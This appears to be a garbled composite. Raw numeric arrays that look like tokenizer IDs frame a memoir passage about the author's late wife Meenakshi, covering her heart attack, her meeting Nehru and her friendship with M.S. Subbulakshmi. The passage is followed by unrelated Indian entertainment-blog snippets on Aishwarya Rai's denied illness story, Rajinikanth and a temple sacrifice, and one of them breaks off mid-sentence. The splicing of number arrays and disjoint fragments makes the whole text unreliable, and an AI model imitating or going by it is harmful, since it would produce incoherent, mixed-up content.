[ 8618, 15, 1500, 369, 17435, 15, 733, 1537, 671, 320, 247, 2798, 2983, 13, 309, 1869, 15, 309, 1691, 275, 247, 19801, 273, 24367, 2713, 4427, 313, 79, 4905, 38575, 460, 13, 1077, 9371, 275, 824, 9534, 10, 762, 617, 14018, 15, 187, 187, 42, 574, 9809, 247, 11705, 273, 436, 2854, 323, 271, 8945, 15, 21965, 846, 253, 806, 8596, 13, 309, 815, 11406, 619, 39680, 399, 814, 7675, 285, 2183, 779, 326, 521, 4936, 785, 369, 34352, 285, 18343, 779, 281, 16949, 1728, 342, 521, 4651, 15, 1583, 7244, 4541, 11704, 407, 247, 4675, 32686, 15, 187, 187, 2993, 369, 1677, 8945, 1971, 275, 253, 17193, 1557, 3943, 273, 253, 4675, 15, 4058, 1617, 10308, 1701, 407, 3563, 275, 253, 2360, 15, 1500, 369, 8884, 562, 273, 5434, 253, 1735, 1388, 15, 329, 14215, 14547, 33470, 369, 2218, 15, 380, 11576, 1119, 271, 7269, 2972, 275, 581, 273, 253, 24908, 15, 1500, 369, 1677, 247, 25882, 15, 1500, 6376, 275, 253, 4675, 323, 247, 1643, 1897, 285, 4895, 1728, 13, 6627, 285, 5389, 15, 187, 187, 510, 2862, 2021, 3573, 264, 247, 25790, 273, 6619, 15, 2732, 247, 1643, 3618, 273, 1551, 285, 761, 29974, 318, 13, 3189, 257, 518, 41386, 30974, 617, 2622, 10934, 15, 1500, 1694, 598, 973, 1078, 5101, 24078, 13, 6518, 5972, 281, 247, 5500, 273, 8574, 13, 1694, 253, 12561, 4704, 313, 7821, 1792, 1598, 271, 258, 255, 33594, 582, 6699, 253, 1388, 457, 84, 12398, 285, 2206, 1066, 275, 253, 18069, 31494, 266, 6951, 275, 617, 2316, 342, 253, 15851, 1984, 275, 1133, 15, 831, 369, 617, 23986, 673, 15, 309, 1160, 352, 247, 1127, 417, 281, 11639, 617, 15, 187, 187, 1147, 369, 671, 253, 673, 672, 690, 2255, 13, 665, 22007, 253, 3971, 1046, 4131, 13, 617, 1682, 3858, 13, 651, 5926, 275, 323, 616, 5312, 270, 917, 14, 43658, 934, 15, 1500, 5082, 457, 85, 2564, 616, 39482, 15, 1500, 651, 1056, 8574, 323, 731, 15, 313, 34, 2644, 1387, 273, 731, 2210, 1728, 281, 923, 479, 285, 6882, 1306, 617, 2471, 15, 831, 369, 617, 2714, 414, 15, 1500, 651, 14588, 342, 4130, 327, 4503, 2426, 2698, 187, 187, 9264, 187, 187, 26190, 2607, 846, 703, 7244, 275, 19950, 846, 253, 12142, 13, 359, 11612, 247, 16112, 281, 253, 3918, 273, 34905, 387, 8305, 491, 23388, 3995, 15, 733, 369, 17386, 407, 12128, 8308, 29347, 262, 500, 1403, 1240, 7694, 267, 3532, 73, 579, 15, 3189, 257, 518, 41386, 3047, 500, 1403, 1240, 7694, 267, 3532, 73, 579, 6262, 12655, 521, 12141, 715, 253, 7423, 285, 18017, 281, 479, 326, 703, 3078, 281, 2525, 3532, 73, 579, 15, 187, 187, 42, 2183, 617, 326, 309, 1904, 457, 85, 871, 253, 12128, 8308, 11697, 15, 378, 609, 314, 309, 574, 6699, 3981, 436, 13, 703, 20906, 949, 253, 16778, 4404, 835, 3532, 73, 579, 369, 5015, 342, 690, 952, 15, 380, 1735, 2774, 13, 309, 3047, 617, 5015, 342, 253, 12128, 8308, 15, 187, 187, 14651, 11987, 25363, 15, 187, 187, 510, 5406, 3395, 247, 4352, 275, 253, 2021, 896, 1728, 275, 6984, 40172, 15, 187, 187, 8195, 4722, 7119, 7668, 427, 343, 324, 330, 15, 775, 5353, 73, 11317, 13, 253, 8530, 5396, 8406, 13, 3249, 281, 619, 2564, 15, 844, 574, 1313, 779, 247, 1643, 2069, 387, 15858, 2345, 28206, 21193, 457, 84, 1659, 15, 2091, 15858, 2345, 28206, 21193, 3395, 8121, 273, 253, 35853, 456, 33022, 273, 5427, 13, 344, 3078, 479, 281, 513, 690, 4722, 7968, 273, 427, 343, 324, 13209, 86, 281, 17093, 247, 2962, 273, 7774, 407, 779, 323, 253, 11338, 15, 187, 187, 11728, 297, 4029, 728, 407, 3189, 257, 518, 41386, 13, 309, 2427, 281, 253, 8406, 457, 84, 1728, 15, 427, 343, 324, 13209, 86, 574, 2489, 247, 7615, 4677, 7824, 253, 24914, 285, 13284, 19236, 273, 253, 4922, 74, 20952, 2170, 273, 1711, 19950, 28, 247, 6906, 13, 2159, 13, 653, 610, 637, 275, 277, 12022, 74, 285, 42981, 893, 15, 754, 651, 3798, 1053, 21524, 8952, 10015, 387, 1728, 15, 3032, 19519, 285, 253, 33054, 497, 10827, 323, 521, 16771, 15, 754, 369, 9979, 273, 3253, 4782, 15, 754, 7636, 4645, 745, 521, 4849, 273, 247, 5235, 273, 4957, 13, 3340, 1110, 1160, 275, 5854, 13, 281, 521, 12942, 15, 187, 187, 1909, 344, 10062, 342, 441, 13, 344, 5485, 253, 22756, 22173, 285, 7320, 562, 247, 4667, 273, 28115, 12719, 12682, 285, 3407, 15571, 697, 2714, 3386, 15, 2091, 344, 3982, 253, 12682, 8489, 2810, 281, 3189, 257, 518, 41386, 13, 30039, 617, 281, 923, 731, 13, 703, 3817, 264, 617, 11480, 285, 45646, 10184, 253, 12682, 896, 7746, 779, 773, 47, 343, 324, 13209, 86, 13, 3021, 2080, 285, 642, 2007, 13, 4496, 1425, 187, 187, 47, 343, 324, 1904, 457, 85, 2564, 617, 4385, 15, 754, 574, 247, 49618, 9012, 342, 441, 13, 285, 4821, 16115, 275, 19916, 273, 253, 4383, 12682, 15, 27993, 390, 1899, 273, 952, 816, 1904, 457, 85, 15105, 617, 15, 1500, 369, 21332, 15, 1500, 369, 4613, 15, 1500, 369, 21189, 15, 1500, 574, 2717, 281, 26037, 15, 1500, 369, 2032, 281, 5972, 15, 187, 187, 9264, 187, 187, 42, 1119, 247, 1943, 1818, 275, 617, 275, 253, 1107, 846, 617, 2798, 2983, 15, 1500, 3395, 1077, 12435, 285, 2223, 10062, 670, 2656, 15, 1500, 7416, 247, 1387, 273, 2255, 13, 512, 617, 3858, 13, 285, 3053, 16362, 15851, 12225, 1046, 7814, 4131, 15, 1500, 6331, 1469, 562, 323, 16771, 984, 273, 3075, 275, 253, 15746, 15, 187, 187, 2993, 5262, 5927, 673, 275, 253, 8576, 285, 651, 11585, 281, 617, 2316, 672, 2378, 253, 4131, 2093, 373, 497, 689, 15, 4058, 1600, 275, 5579, 1151, 8075, 259, 20625, 15, 187, 187, 688, 253, 39190, 13, 672, 309, 369, 10000, 342, 619, 4382, 275, 619, 2316, 13, 703, 9013, 281, 7027, 1066, 327, 253, 21985, 275, 253, 10263, 2316, 6179, 323, 479, 281, 1705, 285, 1790, 1735, 281, 617, 15, 831, 310, 253, 673, 359, 18029, 281, 8946, 3440, 15, 23177, 2469, 4314, 369, 8955, 673, 15, 33041, 13, 359, 651, 11585, 323, 253, 1388, 15, 187, 187, 5072, 257, 518, 41386, 369, 11617, 6110, 275, 3440, 285, 7636, 11298, 281, 617, 18069, 32146, 15, 1500, 369, 2810, 281, 253, 2017, 66, 353, 15, 52, 15, 4974, 9705, 518, 1200, 7373, 15, 1583, 3395, 1175, 3858, 672, 359, 5262, 1264, 1897, 275, 7852, 457, 1728, 275, 6984, 6230, 48447, 617, 1495, 275, 7968, 15, 187, 187, 3338, 1160, 352, 247, 1127, 281, 2525, 3189, 257, 518, 41386, 10793, 703, 2210, 281, 19950, 390, 14332, 47180, 15, 1583, 651, 2319, 417, 3440, 533, 12398, 15, 187, 187, 1231, 3839, 11791, 387, 1728, 285, 10062, 247, 1175, 2968, 327, 2710, 5705, 15, 844, 18029, 281, 1016, 643, 342, 8933, 7957, 4116, 15, 24503, 359, 5469, 4092, 5705, 751, 1495, 13, 2471, 285, 1014, 2656, 15, 844, 671, 24509, 2400, 275, 247, 2372, 273, 34168, 670, 253, 564, 723, 14, 251, 275, 253, 24092, 15, 187, 187, 1231, 6012, 247, 15951, 37993, 12725, 275, 4933, 15278, 7886, 281, 952, 15, 1198, 1650, 13, 359, 4907, 247, 21436, 24451, 13, 665, 2210, 1046, 4131, 30849, 521, 259, 4420, 387, 247, 1029, 12256, 11288, 13, 773, 35, 13243, 8243, 7521, 846, 253, 3440, 6429, 383, 287, 29347, 262, 378, 13243, 8243, 18559, 5801, 15, 3189, 257, 518, 41386, 3543, 326, 378, 13243, 8243, 369, 6296, 24011, 342, 247, 1270, 4318, 28, 604, 344, 574, 760, 2668, 281, 3440, 13, 344, 651, 452, 644, 247, 29192, 15, 187, 187, 510, 3416, 13, 665, 22007, 253, 3971, 13, 43247, 1200, 7373, 369, 1925, 773, 51, 15, 45, 1425, 13, 8669, 43247, 1200, 7373, 15, 2732, 703, 1669, 13, 703, 369, 7932, 407, 1529, 43247, 1200, 7373, 15, 380, 747, 43247, 1200, 7373, 369, 1925, 773, 47, 15, 51, 15, 45, 1425, 13, 1457, 8669, 43247, 1200, 7373, 15, 187, 187, 1231, 1119, 12725, 1014, 275, 16907, 2969, 1841, 275, 1495, 15, 831, 310, 752, 4931, 1160, 776, 1495, 271, 30357, 9455, 15, 187, 187, 46, 656, 410, 313, 395, 714, 324, 580, 356, 19283, 10, 3226, 16527, 81, 3230, 29347, 262, 8924, 84, 747, 867, 895, 15858, 14776, 1058, 8182, 6683, 13, 285, 247, 1335, 5103, 1309, 253, 9602, 273, 253, 4498, 275, 29811, 333, 15, 16527, 81, 3230, 310, 671, 247, 7345, 273, 1270, 44914, 658, 13, 285, 6131, 690, 1786, 12192, 327, 617, 5311, 15, 187, 187, 1628, 1147, 457, 84, 642, 4279, 326, 329, 763, 88, 552, 66, 310, 5345, 13, 285, 703, 3548, 457, 85, 2970, 667, 9243, 15, 1292, 352, 1024, 3249, 281, 1708, 326, 253, 1921, 323, 617, 19297, 281, 8800, 247, 1429, 387, 253, 2774, 310, 984, 703, 556, 644, 9958, 432, 12607, 23669, 323, 247, 1223, 15, 49918, 247, 2603, 13, 2802, 510, 12358, 329, 763, 88, 552, 66, 310, 3192, 323, 617, 12607, 44244, 420, 310, 10546, 35025, 617, 432, 2970, 12821, 15, 20539, 253, 23669, 310, 4751, 29025, 13, 703, 310, 11543, 281, 2495, 247, 10438, 457, 1806, 9563, 253, 24685, 5110, 432, 253, 2926, 15, 187, 187, 34, 763, 88, 552, 66, 416, 2284, 5868, 253, 2926, 327, 253, 1388, 352, 5420, 13, 6789, 352, 3221, 285, 26493, 13, 534, 253, 2929, 4824, 275, 2120, 15, 187, 187, 4125, 13, 31540, 2291, 13, 665, 13, 2556, 281, 32111, 41945, 13, 310, 753, 281, 452, 2529, 253, 44244, 420, 347, 6793, 637, 457, 84, 14792, 327, 521, 5311, 13, 556, 5311, 2400, 896, 1411, 253, 773, 601, 4206, 285, 10357, 23137, 5313, 273, 22630, 668, 275, 1501, 1180, 721, 2090, 13, 17905, 271, 32135, 285, 247, 851, 3460, 323, 253, 773, 615, 3169, 26481, 6598, 187, 187, 1628, 510, 440, 36094, 285, 256, 31457, 528, 3753, 273, 436, 3929, 275, 824, 271, 12368, 11574, 285, 22694, 11547, 347, 253, 32111, 41945, 310, 11617, 25758, 15, 733, 10316, 253, 2488, 273, 436, 3929, 715, 557, 250, 48334, 15, 733, 10316, 253, 8121, 326, 3863, 436, 3929, 715, 557, 250, 48334, 15, 733, 10316, 436, 1798, 11547, 715, 557, 250, 48334, 15, 187, 187, 1628, 25420, 281, 253, 41566, 3753, 273, 436, 256, 31457, 13, 309, 2748, 247, 851, 3460, 285, 2120, 32135, 15, 380, 2120, 32135, 12093, 253, 4454, 273, 253, 2060, 17264, 285, 7015, 8121, 13, 253, 17264, 457, 84, 285, 8121, 457, 84, 440, 28758, 851, 3460, 285, 1275, 19066, 273, 253, 9410, 273, 253, 14600, 13, 253, 32135, 943, 320, 9713, 281, 1097, 329, 763, 88, 552, 66, 416, 2284, 31540, 2291, 806, 285, 5742, 13, 285, 671, 281, 253, 31540, 2291, 2021, 275, 2087, 15, 187, 187, 1628, 510, 32135, 310, 281, 320, 11462, 327, 253, 806, 3239, 273, 253, 14608, 2593, 273, 253, 32111, 41945, 327, 253, 1072, 3239, 13, 275, 253, 1072, 1979, 3379, 13, 285, 1690, 253, 20076, 273, 253, 18979, 17264, 285, 8121, 285, 271, 8993, 23672, 273, 247, 2020, 273, 313, 19581, 281, 320, 4425, 407, 2758, 273, 619, 6508, 2021, 273, 253, 5311, 10, 281, 247, 3872, 34251, 12153, 273, 634, 13887, 326, 8525, 1110, 665, 11089, 432, 20615, 20521, 285, 271, 3929, 275, 634, 11547, 27321, 697, 789, 1425, 187, 187, 51, 1432, 16825, 386, 8924, 84, 2221, 296, 472, 297, 275, 465, 4595, 536, 15235, 13, 4047, 13, 534, 310, 752, 253, 4857, 272, 275, 253, 30062, 1840, 2097, 13, 556, 1048, 644, 271, 1789, 273, 16909, 285, 6385, 394, 15, 6610, 13, 627, 310, 4737, 273, 521, 2186, 275, 427, 5265, 251, 13, 835, 387, 247, 4498, 285, 11012, 921, 327, 7315, 13, 247, 6692, 16057, 13892, 5519, 253, 34861, 2221, 7873, 15, 380, 3236, 1180, 369, 29502, 407, 322, 15, 49, 15, 11960, 284, 538, 3358, 1279, 312, 281, 253, 24591, 273, 657, 1094, 312, 3097, 86, 285, 253, 3440, 273, 329, 15, 51, 15, 1720, 38373, 15, 187, 187, 40942, 13, 253, 16511, 9353, 574, 247, 2802, 22882, 14664, 12584, 2579, 457, 275, 534, 6763, 273, 14664, 12584, 265, 285, 818, 13, 933, 391, 1317, 5087, 342, 616, 4852, 323, 253, 46128, 273, 253, 838, 2821, 7497, 15, 187, 187, 1231, 452, 8530, 1863, 312, 1944, 261, 275, 42948, 255, 10573, 690, 273, 5207, 403, 3872, 20254, 785, 5722, 20721, 13, 690, 273, 5207, 354, 7041, 616, 2389, 281, 637, 285, 22878, 13, 690, 273, 5207, 49383, 1327, 14, 23283, 566, 432 ]

sugar. She was diabetic. It might also be a heart attack, I thought. I put in a tablet of Sorbitrate (nitroglycerine, very helpful in such situations) under her tongue. I had saved a strip of this drug for an emergency. Soon after the first aid, I phoned my grandson Duglu and told him that his grandma was sinking and urged him to rush home with his parents. They arrived quickly accompanied by a hospital ambulance. She was given emergency treatment in the intensive care unit of the hospital. Her condition stabilised by late in the night. She was declared out of danger the next day. A coronary angioplasty was done. The doctors found an advanced block in one of the arteries. She was given a stent. She remained in the hospital for a few days and returned home, bright and beautiful. The entire family heaved a sigh of relief. After a few weeks of rest and recuperation, Meenakshi resumed her normal routine. She got up well before sunrise, helped herself to a cup of coffee, got the breakfast ready (invariably an oatmeal), finished the day’s cooking and sat down in the favourite rattan chair in her room with the prayer book in hand. This was her meditation time. I made it a point not to disturb her. It was also the time when some women, who swept the road every morning, her best friends, would drop in for their daily bible-babble. She wouldn’t mind their intrusion. She would make coffee for them. (A whole group of them came home to see me and condole her death. This was her speciality. She would relate with everyone on equal terms.) *** Within months after she arrived in Delhi after the wedding, we attended a reception to the President of Ghana at Hyderabad House. It was hosted by Prime Minister Pandit Jawaharlal Nehru. Meenakshi saw Jawaharlal Nehru escorting his guest into the hall and whispered to me that she wanted to meet Nehru. I told her that I didn’t know the Prime Minister personally. Barely I had finished saying this, she rushed through the gathering towards where Nehru was talking with some people. The next moment, I saw her talking with the Prime Minister. Cameras clicked. The picture became a hit in the family back home in Madurai. Another interesting incident involving Nirad C. Chaudhuri, the famous Indian writer, comes to my mind. We had met him a few times at Khushwant Singh’s place. When Khushwant Singh became editor of the Illustrated Weekly of India, he wanted me to do some interesting pictures of Nirad Babu to illustrate a series of articles by him for the magazine. Accompanied by Meenakshi, I went to the writer’s home. Nirad Babu had become a familiar figure walking the lanes and quadrangles of the Mori Gate area of old Delhi; a thin, short, spry man in dhoti and kurta. He would usually don Bengali clothes at home. His suits and the hats were reserved for his walks. He was proud of everything British. He loved showing off his collection of a variety of items, especially those made in England, to his visitors. As he talked with us, he opened the shoe rack and pulled out a pair of shining Oxford shoes and began explaining its special features. When he brought the shoes somewhat close to Meenakshi, urging her to see them, she boxed her nose and politely pushed the shoes back telling him “Nirad Babu, thus far and no further, please.” Nirad didn’t mind her comment. He had a hearty laugh with us, and continued singing in praise of the English shoes. Fame or position of people just didn’t bother her. She was frank. She was candid. She was brave. She had nothing to conceal. She was true to herself. *** I found a big change in her in the years after her heart attack. She became very spiritual and often talked about God. She joined a group of women, all her friends, and started attending prayer meetings every Saturday morning. She stopped going out for walks because of pain in the knees. She spent minimum time in the kitchen and would retire to her room when once the morning chores were over. Her interest in TV serials waned. In the evenings, when I was busy with my computer in my room, she preferred to lie down on the couch in the drawing room waiting for me to come and sit next to her. This is the time we listened to classical music. Half past eight was dinner time. Thereafter, we would retire for the day. Meenakshi was deeply interested in music and loved listening to her favourite singers. She was close to the diva M.S. Subbulakshmi. They became good friends when we spent three days in MS’ home in Madras documenting her life in pictures. MS made it a point to meet Meenakshi whenever she came to Delhi or Bangalore. They would discuss not music but cooking. We generally stayed at home and talked a good deal on various subjects. We listened to each other with steadfast attention. Often we discussed serious subjects like life, death and even God. We also indulged in a bit of gossip about the goings-on in the neighbourhood. We derived a vicarious delight in giving nicknames to people. For example, we named a vegetable seller, who came every morning announcing his wares at a high musical pitch, “Bhimsen”, after the music maestro Pandit Bhimsen Joshi. Meenakshi felt that Bhimsen was indeed blessed with a great voice; if he had only taken to music, he would have been a celebrity. The woman, who swept the road, Lakshmi was called “R.L.”, Road Lakshmi. After she left, she was replaced by another Lakshmi. The new Lakshmi was called “N.R.L.”, New Road Lakshmi. We found delight even in seemingly simple things in life. This is what perhaps made our life an enjoyable journey. Mysore (and Yadavagiri) girl Kalpana Pandit‘s new remix Khuda ke Liye, and a still shot during the shooting of the song in Bombay. Kalpana is also a doctor of great pedigree, and offers some health tips on her blog. “It’s no secret that Aishwarya is 37, and she isn’t getting any younger. But it now comes to light that the reason for her inability to bear a child at the moment is because she has been suffering from stomach tuberculosis for a while. Says a source, ‘The medication Aishwarya is taking for her stomach ailment is hampering her from getting pregnant. Until the tuberculosis is fully cured, she is unlikely to risk a pregnancy’,” reads the operative portion from the story. Aishwarya Rai denied the story on the day it appeared, calling it false and fabricated, which the paper carried in full. Now, Bachchan, who, according to Mumbai Mirror, is said to have described the ailment as rich man’s TB on his blog, has blogged back against the “soiled and unworthy piece of garbage” in post number 669, demanding an apology and a retraction for the “debased journalism”. “The unprofessional and slanderous nature of this article in such an esteemed and respected newspaper as the Mumbai Mirror is deeply disturbing. It brings the author of this article into disrepute. It brings the editor that published this article into disrepute. It brings this particular newspaper into disrepute. “Due to the illicit nature of this slander, I request a retraction and full apology. The full apology comprises the names of the individual journalist and chief editor, the journalist’s and editor’s unqualified retraction and refutation of the contents of thearticle, the apology should be addressed to both Aishwarya Rai Bachchan first and specifically, and also to the Bachchan family in general. “The apology is to be printed on the first page of the entertainment section of the Mumbai Mirror on the same page, in the same size print, and including the signatures of the aforementioned journalist and editor and an immediate donation of a sum of (amount to be decided by members of my extended family of the blog) to a national charitable foundation of your choosing that supports those who suffer fromtuberculosis and an article in your newspaper highlighting its work.” Rajnikant‘s superstardom in karaokeland, Japan, which is what the lettering in the headline above means, has long been an object of mystery and mirth. Finally, there is proof of his hold in Nippon, where at a song and dance show on television, a Japanese singer mimicks the Tamil superstar. The original number was sung by S.P. Balasubramanyam to the lyrics of Vairamuthu and the music of A.R. Rehman. Apparently, the temple committee had a ‘secret buffalo service’ in which thousands of buffaloes and 7,000 rams paid with their lives for the wellbeing of the presiding humans. We have famous swamijis in Karnataka some of whom are national Padma award winners, some of whom proclaim their love to man and beast, some of whom preach non-violence from

[ 4453, 2600, 342, 752, 359, 4270, 689, 253, 1390, 1643, 1897, 13, 1919, 359, 921, 617, 253, 2608, 5673, 326, 26091, 253, 9830, 15, 773, 42, 457, 78, 2581, 10000, 594, 309, 2223, 1056, 16503, 672, 309, 1379, 1557, 273, 841, 10656, 8892, 13, 812, 368, 823, 247, 6409, 281, 1663, 11352, 247, 3295, 432, 436, 1618, 8791, 7721, 831, 10316, 441, 896, 281, 6278, 581, 15, 3973, 2181, 359, 1158, 670, 310, 2602, 37193, 253, 9830, 15, 844, 812, 671, 760, 1056, 352, 1896, 281, 5386, 247, 3295, 604, 352, 11210, 457, 85, 644, 23378, 2568, 15, 329, 4318, 275, 253, 896, 273, 776, 9851, 11359, 7746, 441, 326, 359, 1364, 320, 5816, 1633, 2167, 13, 285, 326, 436, 3133, 281, 320, 12150, 685, 352, 943, 320, 15, 329, 1643, 3038, 1996, 13, 6276, 1728, 846, 247, 10458, 1388, 13, 352, 4916, 4755, 326, 253, 11731, 1663, 11121, 273, 247, 3295, 347, 247, 1318, 3185, 273, 271, 10726, 13, 594, 359, 943, 1663, 320, 14053, 352, 347, 824, 15, 187, 187, 6573, 347, 247, 4445, 187, 187, 45, 1807, 1031, 13, 18020, 38216, 2789, 436, 3965, 2969, 15, 380, 1735, 1388, 13, 359, 12666, 2393, 387, 253, 3906, 13, 285, 1818, 776, 10603, 281, 897, 247, 4445, 13, 594, 326, 3185, 273, 253, 1113, 44978, 247, 3295, 13, 359, 4657, 253, 1318, 13, 285, 7168, 253, 2654, 15, 187, 187, 4387, 966, 2639, 4947, 6648, 1163, 6550, 6648, 654, 2639, 2239, 551, 1345, 2639, 4947, 6648, 6734, 551, 4031, 313, 1269, 3001, 1269, 964, 4031, 13441, 41415, 3463, 964, 17459, 15288, 313, 346, 740, 3, 5349, 27740, 313, 1269, 3001, 1269, 964, 9472, 1157, 278, 3001, 551, 278, 964, 12968, 313, 1269, 3001, 1269, 964, 9424, 13441, 29085, 313, 346, 6573, 2402, 3, 13441, 32569, 313, 1884, 13441, 3105, 964, 34631, 494, 36117, 278, 964, 12968, 313, 1269, 3001, 1269, 964, 48927, 796, 68, 1983, 3650, 318, 13441, 29085, 313, 346, 6573, 35348, 3, 13441, 32569, 313, 818, 13441, 3105, 964, 34631, 494, 36117, 6824, 748, 748, 187, 187, 510, 4561, 20824, 1024, 4453, 751, 436, 28, 359, 457, 250, 642, 3356, 44978, 253, 9472, 2829, 15, 187, 187, 3039, 359, 4657, 247, 3295, 1024, 13, 352, 457, 84, 271, 10726, 15, 1292, 347, 3517, 347, 359, 1691, 352, 327, 247, 1113, 13, 352, 457, 84, 247, 1318, 1789, 15, 2091, 359, 3785, 253, 1113, 896, 562, 273, 776, 25306, 4657, 13, 359, 452, 3663, 253, 6489, 15, 844, 943, 10007, 776, 2127, 594, 326, 253, 3295, 457, 84, 8770, 13806, 841, 2544, 15, 844, 10007, 253, 4284, 16757, 594, 326, 253, 1789, 4850, 31260, 342, 247, 4284, 21674, 15, 380, 4284, 16757, 588, 755, 908, 407, 18020, 38216, 672, 352, 33171, 684, 253, 1789, 846, 2970, 352, 562, 253, 25306, 4657, 15, 844, 12970, 253, 8721, 932, 285, 5057, 16850, 6124, 3082, 594, 326, 253, 47811, 403, 2429, 672, 627, 457, 84, 271, 6489, 13, 533, 672, 253, 21674, 3548, 457, 85, 33171, 456, 13, 253, 2193, 403, 2429, 15, 187, 187, 4387, 966, 9472, 551, 1345, 9472, 313, 2876, 1416, 1157, 2876, 15442, 796, 68, 1983, 3650, 318, 2387, 551, 604, 313, 2876, 964, 1680, 13141, 3980, 16801, 313, 1416, 39705, 4710, 747, 37026, 13141, 5330, 313, 346, 1590, 3, 5349, 604, 313, 2876, 964, 1680, 13141, 3980, 16801, 313, 15442, 796, 68, 1983, 3650, 318, 39705, 4710, 747, 37026, 13141, 5330, 313, 346, 15741, 796, 68, 1983, 3650, 318, 3, 5349, 9424, 426, 1416, 3706, 48927, 796, 68, 1983, 3650, 318, 426, 15442, 796, 68, 1983, 3650, 318, 3706, 748, 6885, 9472, 6734, 551, 4031, 426, 428, 337, 3706, 748, 1345, 7503, 540, 4031, 551, 755, 3706, 6885, 873, 3706, 748, 1345, 7503, 2876, 9424, 551, 755, 3706, 6885, 873, 3706, 748, 1345, 7503, 2876, 48927, 796, 68, 1983, 3650, 318, 551, 755, 3706, 6885, 873, 3706, 748, 1345, 12970, 7301, 8721, 932, 313, 1789, 10928, 2387, 551, 604, 313, 10928, 2295, 3635, 2387, 1091, 3221, 3706, 945, 3295, 426, 10928, 347, 9472, 3706, 604, 313, 3295, 2295, 3635, 2387, 1091, 3221, 3706, 604, 313, 4031, 3613, 428, 337, 2387, 1091, 4031, 2295, 3295, 964, 4031, 3706, 1091, 9424, 2295, 3295, 964, 9424, 3857, 48927, 796, 68, 1983, 3650, 318, 2295, 3295, 964, 48927, 796, 68, 1983, 3650, 318, 3706, 748, 1345, 12970, 540, 5057, 16850, 6124, 6734, 551, 604, 313, 4031, 3613, 428, 337, 2387, 1091, 4031, 964, 5057, 16850, 6124, 36117, 1091, 9424, 964, 5057, 16850, 6124, 6734, 708, 48927, 796, 68, 1983, 3650, 318, 964, 5057, 16850, 6124, 36117, 748, 748, 187, 187, 1552, 9193, 745, 2167, 28, 970, 581, 4473, 275, 767, 1027, 22349, 2789, 1841, 2581, 21643, 15, 1680, 3295, 271, 10726, 13, 390, 1318, 1789, 32, 2207, 1057, 352, 3469, 32, 187, 187, 22342, 33573, 12342, 187, 187, 1231, 4908, 767, 6843, 12342, 3185, 28, 247, 3295, 347, 247, 1318, 1789, 13, 285, 271, 2130, 3295, 347, 271, 10726, 15, 187, 187, 4387, 966, 26006, 6573, 551, 1345, 26006, 6573, 313, 2876, 1416, 1157, 2876, 15442, 796, 68, 1983, 3650, 318, 2387, 551, 604, 313, 2876, 964, 1680, 13141, 3980, 16801, 313, 1416, 39705, 4710, 747, 37026, 13141, 5330, 313, 346, 1590, 3, 5349, 604, 313, 2876, 964, 1680, 13141, 3980, 16801, 313, 15442, 796, 68, 1983, 3650, 318, 39705, 4710, 747, 37026, 13141, 5330, 313, 346, 15741, 796, 68, 1983, 3650, 318, 3, 5349, 9424, 426, 1416, 3706, 48927, 796, 68, 1983, 3650, 318, 426, 15442, 796, 68, 1983, 3650, 318, 3706, 748, 6885, 26006, 6573, 6734, 551, 748, 1345, 7503, 540, 4031, 551, 755, 3706, 6885, 873, 3706, 748, 1345, 7503, 2876, 9424, 551, 755, 3706, 6885, 873, 3706, 748, 1345, 7503, 2876, 48927, 796, 68, 1983, 3650, 318, 551, 755, 3706, 6885, 873, 3706, 748, 1345, 4228, 6843, 5572, 9472, 313, 26006, 6573, 1318, 2387, 551, 1091, 747, 9472, 313, 1318, 964, 9424, 1157, 1318, 964, 48927, 796, 68, 1983, 3650, 318, 5349, 748, 1345, 12970, 7301, 8721, 932, 313, 1789, 10928, 2387, 551, 604, 313, 10928, 2295, 3635, 2387, 1091, 3221, 3706, 945, 3295, 426, 10928, 347, 26006, 6573, 3706, 604, 313, 3295, 2295, 3635, 2387, 1091, 3221, 3706, 1091, 3295, 964, 4031, 2295, 4031, 3706, 748, 1345, 12970, 540, 5057, 16850, 6124, 6734, 551, 1091, 4031, 964, 5057, 16850, 6124, 36117, 748, 748, 1345, 966, 9472, 551, 1345, 9472, 313, 2876, 1416, 1157, 2876, 15442, 796, 68, 1983, 3650, 318, 2387, 551, 604, 313, 2876, 964, 1680, 13141, 3980, 16801, 313, 1416, 39705, 4710, 747, 37026, 13141, 5330, 313, 346, 1590, 3, 5349, 604, 313, 2876, 964, 1680, 13141, 3980, 16801, 313, 15442, 796, 68, 1983, 3650, 318, 39705, 4710, 747, 37026, 13141, 5330, 313, 346, 15741, 796, 68, 1983, 3650, 318, 3, 5349, 9424, 426, 1416, 3706, 48927, 796, 68, 1983, 3650, 318, 426, 15442, 796, 68, 1983, 3650, 318, 3706, 748, 6885, 9472, 6734, 551, 748, 1345, 7503, 2876, 9424, 551, 755, 3706, 6885, 873, 3706, 748, 1345, 7503, 2876, 48927, 796, 68, 1983, 3650, 318, 551, 755, 3706, 6885, 873, 3706, 748, 1345, 12970, 7301, 8721, 932, 313, 1789, 10928, 2387, 551, 604, 313, 10928, 2295, 3635, 2387, 1091, 3221, 3706, 945, 3295, 426, 10928, 347, 9472, 3706, 604, 313, 3295, 2295, 3635, 2387, 1091, 3221, 3706, 1091, 9424, 2295, 3295, 964, 9424, 3857, 48927, 796, 68, 1983, 3650, 318, 2295, 3295, 964, 48927, 796, 68, 1983, 3650, 318, 3706, 748, 1345, 12970, 540, 5057, 16850, 6124, 6734, 551, 1091, 9424, 964, 5057, 16850, 6124, 6734, 708, 48927, 796, 68, 1983, 3650, 318, 964, 5057, 16850, 6124, 36117, 748, 748, 187, 187, 1552, 4453, 1805, 15, 844, 1024, 452, 767, 6843, 12342, 15, 743, 6843, 9436, 4483, 368, 281, 755, 247, 3295, 562, 273, 271, 2130, 3295, 13, 10305, 253, 21674, 15, 187, 187, 2044, 2130, 6573, 3980, 912, 426, 747, 26006, 6573, 313, 346, 3980, 912, 3, 1157, 13938, 2648, 1237, 1237, 3, 5349, 945, 1113, 426, 747, 2639, 6048, 9472, 2387, 2130, 6573, 3980, 912, 5349, 26466, 964, 19566, 7557, 313, 1113, 964, 9472, 964, 8721, 932, 313, 747, 9472, 313, 346, 3980, 912, 3, 1157, 13938, 2648, 1237, 1237, 3, 209, 23090, 1380, 2032, 187, 187, 18786, 187, 187, 1231, 2525, 598, 342, 253, 11731, 581, 1390, 673, 13, 285, 921, 617, 752, 359, 294, 45260, 15, 2091, 359, 22020, 849, 703, 476, 8722, 253, 4849, 273, 2130, 9830, 407, 816, 6240, 285, 37193, 731, 428, 1293, 23374, 1880, 581, 273, 253, 8458, 2210, 275, 326, 3295, 13, 247, 8580, 2722, 598, 327, 617, 2454, 28, 773, 1552, 310, 4555, 752, 309, 3058, 13, 352, 1663, 10095, 457, 85, 320, 12150, 685, 436, 1425, 187, 187, 32953, 2223, 